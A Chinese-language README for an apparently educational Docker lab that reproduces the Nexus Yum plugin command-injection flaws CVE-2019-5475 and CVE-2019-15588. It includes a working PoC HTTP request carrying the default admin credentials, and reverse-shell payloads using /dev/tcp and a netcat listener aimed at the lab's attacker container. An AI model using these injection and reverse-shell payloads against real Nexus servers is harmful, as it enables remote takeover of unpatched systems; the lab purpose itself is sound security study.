Skip to content

EXP-Docs/CVE-2019-5475

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

35 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

CVE-2019-5475

CVE-2019-5475 与 CVE-2019-15588 靶场: RCE 命令注入漏洞


0x00 背景

CVE-2019-5475 是 Nexus 关于内置插件 Yum Repository 的 RCE 命令注入漏洞,其最早被披露于 hackerone,但因官方第一次修复不完整,故又衍生出了 CVE-2019-15588 漏洞。

这两个漏洞都需要以 admin 身份登录后才可以利用,但是 nexus 默认管理员密码 admin123 经常被忽略修改,很容易就被利用了。

0x10 靶场环境

0x20 目录结构

CVE-2019-5475
├── nexus-yum-core .......... [用于 debug 的 Maven 项目:模拟在 nexus GUI 输入 createrepo 或 mergerepo]
├── nexus ................... [Nexus 容器的数据挂载目录]
├── attacker ................ [攻击者机器的构建目录]
│   └── Dockerfile .......... [攻击者机器的 Docker 构建文件]
├── docker-compose.yml ...... [Docker 的构建配置]
├── imgs .................... [辅助 README 说明的图片]
└── README.md ............... [此 README 说明]

0x40 靶场搭建

Nexus CVE URL
2.14.9 CVE-2019-5475 http://127.0.0.1:8009/nexus
2.14.14 CVE-2019-15588 http://127.0.0.1:8014/nexus

此靶场还搭建了一台攻击机 172.168.50.2,处于与两台靶机相同的网络环境,其作用是用于验证反弹 shell

0x50 【CVE-2019-5475】靶场验证

0x51 PoC

使用 admin 登录 http://127.0.0.1:8009/nexus/#capabilities,在 Administration -> Capabilities -> Yum: Configuration -> Settings 可以找到 RCE 注入点。

输入框 Path of "createrepo"Path of "mergerepo" 均可被注入,执行结果可以从 Status 查看。

例如在 createrepo 注入点构造 PoC bash -c id || python,即可从 Status 得到命令 bash -c id 的执行结果 uid=200(nexus) gid=200(nexus) groups=200(nexus)

通过 BurpSuite 可截获到对应 PoC 请求为:

PUT /nexus/service/siesta/capabilities/RANDOM_ID HTTP/1.1
Host: 127.0.0.1:8009
accept: application/json
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Connection: close

{"typeId":"yum","enabled":true,"properties":[{"key":"createrepoPath","value":"bash -c id || python"}],"id":"RANDOM_ID"}

0x52 EXP

这个注入点可以很轻易被利用于构造反弹 shell :

  • 登录攻击机: docker exec -it -u root docker_attacker /bin/bash
  • 利用 netcat 监听反弹: nc -lvvp 4444
  • 在上述 createrepo 注入点构造 payload: bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python

0x60 【CVE-2019-15588】靶场验证

0x61 PoC

注入位置与 CVE-2019-5475 相同,调整 PoC 为: /bin/bash -c id || /createrepo

0x62 EXP

此漏洞可以使用相同的方法反弹 shell :

  • 登录攻击机: docker exec -it -u root docker_attacker /bin/bash
  • 利用 netcat 监听反弹: nc -lvvp 4444
  • createrepo 注入点构造 payload: /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo

0x70 漏洞修复

0x80 关于 nexus-yum-core

nexus-yum-core 是 nexus 中关于这次漏洞利用的核心代码片段,主要用于从后端直接 debug 调试分析输入的 payload ,无需从源码搭建完整的 Nexus 服务。

0x90 参考资料